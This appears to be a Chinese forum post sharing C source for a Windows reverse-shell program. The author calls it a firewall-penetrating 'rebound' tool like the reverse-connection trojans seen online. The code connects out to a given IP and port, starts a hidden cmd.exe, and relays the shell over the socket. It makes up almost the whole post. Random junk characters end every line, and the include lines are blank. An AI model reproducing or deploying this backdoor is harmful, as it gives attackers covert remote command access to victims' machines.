这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v]UU&Jq8U
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/* ==============================
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Rebound port in Windows NT |:J*>"sq
By wind,2006/7 <lsi.x\y<
===============================*/ rF
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#include 6z%&A]6k:
#include 4DG 9`5.
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#pragma comment(lib,"wsock32.lib") 98"z0nI%
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void OutputShell(); 3"2<T^H]
SOCKET sClient; n]kQtjJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g~i''lng
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void main(int argc,char **argv) 9OO0Ht4j
{ ]DL>
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WSADATA stWsaData; ,Jw\3T1V
int nRet; .~V".tZV[
SOCKADDR_IN stSaiClient,stSaiServer; x0TnS#
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if(argc != 3) x _YV{
{ 9/8@
printf("Useage:\n\rRebound DestIP DestPort\n"); J%O[@jX1
return; NoSqzJyh
} m,kvEQ3
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WSAStartup(MAKEWORD(2,2),&stWsaData); *R9mgv[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .lNnY8<
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stSaiClient.sin_family = AF_INET; GT1 X
stSaiClient.sin_port = htons(0); !<['iM
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j|VlHDqR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,&O:/|c E
{ MFCbx>#
printf("Bind Socket Failed!\n"); pX h^M{.
return; 2yQ;lQ`
} :*w:eKk
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stSaiServer.sin_family = AF_INET; i &SBW0)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JXZ:Wg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); " N`V*0h
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cE_Xo.:Y,
{ eW }jS/g`
printf("Connect Error!"); JXI+k.fi
return; ~$TE
} iX9[Q0g=oQ
OutputShell(); "cz]bCr8
} gP_d>p:b
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void OutputShell() 9b=^"K
{ )oz-<zW
char szBuff[1024]; e5:l 6`
SECURITY_ATTRIBUTES stSecurityAttributes; n<"a+TTU
OSVERSIONINFO stOsversionInfo; !A ydhe
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5e~{7{
STARTUPINFO stStartupInfo; #/
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char *szShell; S|u1QGB
PROCESS_INFORMATION stProcessInformation; KzFs#rhpn
unsigned long lBytesRead; V }r_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cvLcre% >A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hnfrnYH
stSecurityAttributes.lpSecurityDescriptor = 0; QeOt;{_|
stSecurityAttributes.bInheritHandle = TRUE; 3vvFF]D5k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "l2N_xX;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [7Kj$PB3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q_m#BE;t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WTy8 N
stStartupInfo.wShowWindow = SW_HIDE; -^nQ^Td=j
stStartupInfo.hStdInput = hReadPipe; m} FCe
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O.40^u~
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GetVersionEx(&stOsversionInfo); ~?8x0
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switch(stOsversionInfo.dwPlatformId) TQxc?o
{ /\Y%DpG$
case 1: yKk,);
szShell = "command.com"; G4`sRaT.
break; /Z9`uK
default: =*)O80oaW
szShell = "cmd.exe"; n*8RYm)?
break; 1_E3DXe
} G QB^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {CyPcD'$s
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send(sClient,szMsg,77,0); 0o'ML""j
while(1) 5<GRi"7A@
{ <?va)
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qZ]VS/5A
if(lBytesRead) ST[1'T+L
{ }T*xT>p^3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8J(zWV7 r
send(sClient,szBuff,lBytesRead,0); #d i_V"
} aZ:?(u]
else 2n+XML
{ (/P&;?j
lBytesRead=recv(sClient,szBuff,1024,0); Bc@r*zb
if(lBytesRead<=0) break; YV!V9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oX]1>#5UMg
} 25@j2K (
} L}S4Zz18
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return; M{kh=b)V
}